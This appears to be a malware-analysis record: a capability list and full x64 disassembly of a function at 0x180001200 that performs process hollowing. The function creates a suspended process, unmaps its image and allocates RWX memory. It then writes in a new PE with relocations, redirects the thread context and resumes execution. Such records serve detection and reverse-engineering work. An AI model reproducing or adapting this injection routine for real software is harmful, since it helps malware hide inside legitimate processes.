Function at 0x180001200
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Patch process command line
Resolve function by parsing pe exports
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xa0
mov rsi, qword [0x180018a50]
mov ecx, 0x68
mov qword [rsp + 0x80], rsi
mov rdi, rdx
mov qword [rsp + 0x70], 0xbe8
call fcn.180001778
xor edx, edx
mov rcx, rax
mov rbx, rax
lea r8d, [rdx + 0x68]
call fcn.180002c80
mov ecx, 0x18
call fcn.180001778
mov r13, rax
mov qword [rsp + 0x90], rax
xor eax, eax
mov qword [r13], rax
mov qword [r13 + 8], rax
lea ecx, [rax + 0x30]
mov qword [r13 + 0x10], rax
call fcn.180001778
mov r14, rax
mov qword [rsp + 0x48], r13
xor eax, eax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov qword [r14], rax
mov rdx, rdi
mov qword [r14 + 8], rax
xor ecx, ecx
mov qword [r14 + 0x10], rax
mov qword [r14 + 0x18], rax
mov qword [r14 + 0x20], rax
mov qword [r14 + 0x28], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0xe0], eax
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r15, qword [r13]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x180001318
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180018a58], rax
test rax, rax
jne 0x18000131f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x180018a58]
lea rcx, [rsp + 0xe0]
mov r9d, 0x30
mov qword [rsp + 0x20], rcx
mov r8, r14
mov rcx, r15
xor edx, edx
call rax
mov rdx, qword [r14 + 8]
lea rax, [rsp + 0x60]
xor r14d, r14d
mov qword [rsp + 0x20], rax
add rdx, 0x10
mov qword [rsp + 0xf8], r14
lea r8, [rsp + 0xf8]
mov qword [rsp + 0x60], r14
mov rcx, r15
lea r9d, [r14 + 8]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movsxd rbp, dword [rsi + 0x3c]
lea rcx, str.ntdll
add rbp, rsi
mov qword [rsp + 0x88], rbp
mov ebx, dword [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0xf8]
mov rcx, r15
call rax
mov rdx, qword [rsp + 0xf8]
mov r9d, 0x3000
mov r8d, ebx
mov dword [rsp + 0x20], 0x40
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r8, rsi
mov qword [rsp + 0x20], r14
mov qword [rsp + 0xf8], rax
mov r12, rax
sub r12, qword [rbp + 0x30]
mov rdx, rax
mov r9d, dword [rbp + 0x54]
mov rcx, r15
mov qword [rbp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movsxd rax, dword [rsi + 0x3c]
lea rbx, [rsi + 0x108]
add rbx, rax
mov qword [rsp + 0x58], rbx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, r14d
cmp r14w, word [rbp + 6]
jae 0x180001459
add rbx, 0x14
mov r8d, dword [rbx]
mov rcx, r15
mov edx, dword [rbx - 8]
add r8, rsi
add rdx, qword [rsp + 0xf8]
mov r9d, dword [rbx - 4]
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbp + 6]
lea rbx, [rbx + 0x28]
inc edi
cmp edi, eax
jl 0x180001423
mov rbx, qword [rsp + 0x58]
mov edx, r14d
mov rax, qword [rbp + 0xb0]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0xf0], edx
cmp r14w, word [rbp + 6]
jae 0x1800015c8
mov ecx, dword [rsp + 0x6c]
mov r8d, 0xf000
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [rbx]
cmp eax, dword [str..reloc]
jne 0x18000163d
movzx eax, byte [rbx + 4]
cmp al, byte [0x180014124]
jne 0x18000163d
test ecx, ecx
je 0x1800015a8
mov r13d, dword [rbx + 0x14]
mov qword [rsp + 0x78], r13
nop
mov ebp, r14d
add r14d, 8
add rbp, r13
mov edi, r14d
add rbp, rsi
add rdi, r13
add rdi, rsi
mov eax, dword [rbp + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x18000158b
mov esi, eax
xor r13d, r13d
lea r14d, [r14 + rsi*2]
movzx eax, word [rdi]
test r8w, ax
je 0x18000156c
mov rdx, qword [rsp + 0xf8]
lea r8, [rsp + 0x50]
and eax, 0xfff
mov qword [rsp + 0x50], r13
add eax, dword [rbp]
mov r9d, 8
mov ebx, eax
mov rcx, r15
lea rax, [rsp + 0x60]
add rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdx, qword [rsp + 0xf8]
lea rax, [rsp + 0x70]
add qword [rsp + 0x50], r12
lea r8, [rsp + 0x50]
add rdx, rbx
mov qword [rsp + 0x20], rax
mov r9d, 8
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0xf000
add rdi, 2
sub rsi, 1
jne 0x1800014f1
mov r13, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
mov ecx, dword [rsp + 0x6c]
cmp r14d, ecx
jb 0x1800014c0
mov rbx, qword [rsp + 0x58]
mov edx, dword [rsp + 0xf0]
mov rbp, qword [rsp + 0x88]
xor r14d, r14d
movzx eax, word [rbp + 6]
inc edx
mov dword [rsp + 0xf0], edx
cmp edx, eax
jl 0x180001490
mov r13, qword [rsp + 0x90]
mov ecx, 0x4d0
call fcn.180001778
xor edx, edx
mov r8d, 0x4d0
mov rcx, rax
mov rbx, rax
call fcn.180002c80
mov dword [rbx + 0x30], 0x10000b
mov rdx, rbx
mov rcx, qword [r13 + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov ecx, dword [rbp + 0x28]
mov rdx, rbx
add rcx, qword [rsp + 0xf8]
mov qword [rbx + 0xf8], rcx
mov rcx, qword [r13 + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [r13 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rbx, qword [rsp + 0xe8]
add rsp, 0xa0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
add rbx, 0x28
mov qword [rsp + 0x58], rbx
jmp 0x1800015ab